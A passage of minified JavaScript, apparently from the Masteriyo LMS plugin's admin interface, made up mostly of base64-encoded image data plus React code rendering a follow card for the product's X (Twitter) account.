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"}),l().createElement(d.B,{gap:"2",justify:"center"},l().createElement(ke.D,{as:"h3",fontSize:"xl",fontWeight:"normal",color:"gray.700"},(0,E.__)("X ( Twitter )","learning-management-system")),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Follow us on X to get the latest news and updates about Masteriyo and the team behind it.","learning-management-system")),l().createElement(p.$,{as:je.N,borderRadius:"base",fontSize:"14px",fontWeight:"normal",alignSelf:"start",mt:"5",color:"white !important",bgColor:"black !important",isExternal:!0,href:"https://twitter.com/masteriyolms",textDecor:"none !important"},(0,E.__)("Follow","learning-management-system")))),l().createElement(br.x,{gridTemplateColumns:"1fr 1fr",p:"4",bgColor:"white",border:"1px",borderColor:"gray.100",borderRadius:"base",gridGap:"7"},l().createElement(qe._,{src:"data:image/png;base64,UklGRgSaAABXRUJQVlA4WAoAAAAwAAAAawUAlwIASUNDUMgBAAAAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADZBTFBIdwEAAAFnYJBt5NgdwdfkPiIi+PU6QG5ta8sWPQuH2P2LoAcycifWAjS1iCbcST13xuf7uvr5G3hGdkT/JyBqJ/bLKkk/bXVG/fmyytRjdeaqZN38SfE7W9001FxX6Xo8Iorf+eqmIeKiStj9Ed8y1kIUVcpu2MxZLe85a+Brzpr8kbN2f+WskzJnPVX8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8/6/kMmc9/cpZJz9z1u7XnDX5mLMGV3JWa5GzGuJ7xlqNuMxYHRHF73x10xAR1/lqPCKi+J2tbhpqYiVbdcfne6nqaTTqTxyUWeppqzNqAQBWUDgglpYAABA+Ap0BKmwFmAI+MRiKRCIhoREI5IAgAwSyt34OWq6YnF8AexAH5I9f+IHuCDh+Qf5x42OtOQt/bfVpwIgrmh/4r6A/4H/EvyA7gDovqh8Sftfyp7+mPfGP5f/Pfsv+5f+2+fnj3uK8yfgPy/+3X+z+6P+P/2OyDtXzMPO/0v/J